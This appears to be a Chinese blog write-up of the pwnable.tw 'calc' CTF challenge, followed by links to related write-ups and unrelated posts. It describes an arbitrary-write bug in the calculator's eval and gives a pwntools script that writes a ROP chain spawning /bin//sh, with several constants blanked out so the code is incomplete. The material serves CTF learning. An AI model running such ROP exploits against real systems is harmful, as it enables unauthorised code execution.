题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞

运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数

下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可

from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',)

r.recv()

from struct import pack

# Padding goes here

p = ''

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '/bin'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec064) # @ .data + 

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '//sh'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481d1) # pop ebx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080ec060) # padding without overwrite ebx

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x08049a21) # int 0x80

def set_val(addr):

    r.sendline('+'+str(addr))

    val=int(r.recv())

    if val>:

        r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    else:

        r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    r.recv()

for i in range(,+len(p)/):

    set_val(i)

r.interactive()

pwnable.tw calc的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  6. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  7. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. PHP7.0-PHP7.3新特性与变更

    到目前为止,PHP7发布已经升级到7.3,本文来总结一下每个版本的变更与新特性 PHP7.0 1. 组合比较符 (<=>) 组合比较符号用于比较两个表达式.当$a小于.等于或大于$b时它分 ...

  2. JS confirm或alert对话框中的换行

    如题. alert.confirm对话框的换行可以使用回车符或换行符:\n,\r 也可以使用回车符或换行符对应的unicode编码:\u000a,\u000d,这是等效的. //确认信息 var co ...

  3. 认识 WebService

     什么是服务? 1)现在的应用程序变得越来越复杂,甚至只靠单一的应用程序无法完成全部的工作.更别说只使用一种语言了. 2)大家在写应用程序查询数据库时,并没有考虑过为什么可以将查询结果返回给上层的应用 ...

  4. mysql-笔记 架构

    1 第一层:连接处理.授权认证.安全 2 第二层:内置函数.解析.优化.跨存储引擎的功能:存储过程.触发器.视图 3 第三层:数据在存储和提取,底层函数(如开始事务)不解析sql.存储引擎之间不相互通 ...

  5. PowerDesigner 批量添加字段

    Option Explicit Dim mdl ' the current model Set mdl = ActiveModel Dim Tab 'running table Dim col_1 D ...

  6. jenkins针对不同的项目组对用户进行权限分配

    因jenkins上存有de(开发).te(测试)等三个不同环境的项目,同时因为项目需求,需要对不同的开发及测试人员配置不同的jenkins权限,即以项目为单位,对不同人员进行不同权限配置,要求如下: ...

  7. Codeforces 1092C Prefixes and Suffixes(思维)

    题目链接:Prefixes and Suffixes 题意:给定未知字符串长度n,给出2n-2个字符串,其中n-1个为未知字符串的前缀(n-1个字符串长度从1到n-1),另外n-1个为未知字符串的后缀 ...

  8. logstash的output配置中指定elasticsearch的template

    转自:https://blog.csdn.net/felix_yujing/article/details/78930389 之前采用的是通过filebeat收集nginx的日志,直接到elastic ...

  9. 第一篇-生成可运行得exe文件

    1. 项目 --> 属性 2. 配置 -->Release 3. 如果可以在其他电脑运行可以不进行下面的,如果不能运行,选择代码生成-->运行库-->MT 4. 完成上述步骤后 ...

  10. 服务器配置 ssl 证书

    最近因为公司的 服务器 ssl证书即将到期(服务器 和 ssl证书管理都在 腾讯云上), 所以为了能顺利的 重新申请 ssl证书 ,我和小伙伴 在他的个人服务器上尝试了一波(我们居然都不会 ...) ...